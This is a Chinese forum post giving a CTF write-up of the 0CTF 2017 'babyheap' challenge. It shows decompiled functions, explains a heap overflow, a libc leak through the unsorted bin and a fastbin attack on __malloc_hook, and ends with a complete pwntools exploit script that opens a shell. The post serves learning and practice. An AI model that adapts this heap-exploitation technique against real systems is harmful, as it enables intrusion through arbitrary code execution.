0CTF2017 : babyheap
本帖最后由 R00tkit 于 2023-9-22 19:44 编辑# 前言
新注册的论坛账号,我目前在做ctf pwn和reverse,未来打算做android和iot,在吾爱这边准备更新一些实战记录和一些比赛的wp。
本题知识点我在这里有写 : https://bbs.kanxue.com/thread-277530.htm
# 0ctf2017:babyheap
## 检查文件信息
elf64小端序程序,保护全开。
## 修改rpath
检测到编译环境为`GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609`
所以修改rpath为glibc2.23
## 试运行
## 逆向分析
```cpp
//分配堆块函数
char *sub_B70()
{
int fd; //
char *addr; //
unsigned __int64 v3; //
__int64 buf; // BYREF
buf = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts("===== Baby Heap in 2017 =====");
fd = open("/dev/urandom", 0);
if ( fd < 0 || read(fd, buf, 0x10uLL) != 16 )
exit(-1);
close(fd);
addr = (char *)((buf % 0x555555543000uLL + 0x10000) & 0xFFFFFFFFFFFFF000LL);
v3 = (buf % 0xE80uLL) & 0xFFFFFFFFFFFFFFF0LL;
if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
exit(-1);
return &addr;
}
//返回数据被main里的a1接收。
```
```cpp
//Allocate函数
void __fastcall Allocate(__int64 a1)
{
int i; //
int v2; //
void *v3; //
for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
v2 = sub_138C();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);//堆块内容初始化为1
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1; //标记是否使用
*(_QWORD *)(a1 + 24LL * i + 8) = v2;//标记大小Size
*(_QWORD *)(a1 + 24LL * i + 16) = v3;//堆块地址
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}
//结构体如下
struct Heap {
double in_use;
double size;
void *heap;
};
```
```cpp
//Fill函数
__int64 __fastcall Fill(__int64 a1)
{
__int64 result; // rax
int v2; //
int v3; //
printf("Index: ");
result = sub_138C();
v2 = result; //序号
if ( (unsigned int)result <= 0xF ) //0~15
{
result = *(unsigned int *)(24LL * (int)result + a1);//结构体大小为24bit,在a1这个mmap块分配的。如此寻对应序号的Heap结构体。
if ( (_DWORD)result == 1 )//检查in_use
{
printf("Size: ");
result = sub_138C();
v3 = result;
if ( (int)result > 0 )//存在堆溢出漏洞
{
printf("Content: ");
return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);//分配的heap在结构体偏移16的位置。
}
}
}
return result;
}
```
```cpp
//Free函数
__int64 __fastcall Free(__int64 a1)
{
__int64 result; // rax
int v2; //
printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
*(_DWORD *)(24LL * v2 + a1) = 0;//in_use=0
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;//size=0
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL;//chunk置零
}
}
return result;
}
```
```cpp
//Dump函数
int __fastcall Dump(__int64 a1)
{
int result; // eax
int v2; //
printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
result = *(_DWORD *)(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));//打印堆块size大小的内容
return puts(byte_14F1);
}
}
return result;
}
```
## 漏洞利用
### 1.泄露libc基址
首先申请5个0x71大小的堆块,对应序号为0,1,2,3,4。和一个0x21大小的堆块来阻隔top_chunk。
利用堆溢出修改chunk0时将chunk1的size修改为0x91,chunk1覆盖到chunk2的bk位置,将chunk2分割出0x51大小的堆块。
修改后结构如下
查看此时heap结构
此时free(1)将会把chunk1_0x91放进unsorted_bin。
再次申请0x68大小的空间将会从unsorted_bin分割0x71大小的堆块,并由Heap管理。那么chunk2头部0x20大小的空间将留在unsorted_bin,由于并没有将chunk2给free掉,所以chunk2_fd,chunk2_bk被修改为了栈地址(这题时main_arena++88),此时输出chunk2内容即可获取一个栈地址。
此时堆结构
得到这个站地址后,可以计算他和libc基址的固定偏移
libc基址地址。
固定偏移
### 通过劫持__malloc_hook地址来执行one_gadget
首先将chunk4放入fastbin,然后通过堆溢出利用chunk3修改chunk4的fd指针来将包含__malloc_hook真实地址的fake_fast链接进fastbins。
包含__malloc_hook的fake_fast
修改后chunk结构
fastbin结构
再次申请两次就可将fake_fast申请出来,并且fast_fast由Heap管理。
此时将__malloc_hook地址改为one_gadget地址,随意申请一个堆块就可getshell。
不难计算fake_fast的用户区0x13位置就是__malloc_hook地址。
然后随意申请一个堆块就可getshell
### 完整exp
```python
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h' ]
is_local = True
is_debug = True
if is_debug:
context.log_level = 'debug'
else:
context.log_level = 'info'
def connect():
global r, elf, libc
if is_local:
r = process('./babyheap_0ctf_2017')
else:
r = remote('IP', port)
elf = ELF('./babyheap_0ctf_2017')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def debug(gdbscript=""):
if is_debug:
gdb.attach(r, gdbscript=gdbscript)
pause()
else:
pass
def alloc(size):
r.recvuntil(b'Command:')
r.sendline(b'1')
r.recvuntil(b'Size:')
r.sendline(str(size).encode())
def fill(index,size,content):
r.recvuntil(b'Command:')
r.sendline(b'2')
r.recvuntil(b'Index:')
r.sendline(str(index).encode())
r.recvuntil(b'Size:')
r.sendline(str(size).encode())
r.recvuntil(b'Content:')
r.send(content)
def free(index):
r.recvuntil(b'Command:')
r.sendline(b'3')
r.recvuntil(b'Index:')
r.sendline(str(index).encode())
def dump(index):
r.recvuntil(b'Command:')
r.sendline(b'4')
r.recvuntil(b'Index:')
r.sendline(str(index).encode())
def leak_libc():
global libc_addr
alloc(0x68) # 0
alloc(0x68) # 1
alloc(0x68) # 2
alloc(0x68) # 3
alloc(0x68) # 4
alloc(0x18) # 5
#debug()
fill(0, 0x70, b'a'*0x68 + p64(0x91))
fill(2, 0x20, b'\x00'*0x18 + p64(0x51))
#debug()
free(1)
#debug()
alloc(0x68) # 1
#debug()
dump(2)
r.recvuntil(b'\n')
libc_addr = u64(r.recv(8))-0x3c4b78
log.info("main_arena:"+hex(libc_addr+0x3c4b78))
log.success('libc_addr:'+hex(libc_addr))
def get_shell():
#debug()
free(4)
fill(3,0x78,b'a'*0x68+p64(0x71)+p64(libc_addr+libc.sym['__malloc_hook']-0x23))
#debug()
alloc(0x68) # 4
alloc(0x68) # 6
fill(6,27,cyclic(19)+p64(libc_addr+0x4527a))
debug()
alloc(0x30)
r.interactive()
def pwn():
connect()
leak_libc()
get_shell()
if __name__=='__main__':
pwn()
```
厉害的人怎么都优秀{:1_921:}
页:
[1]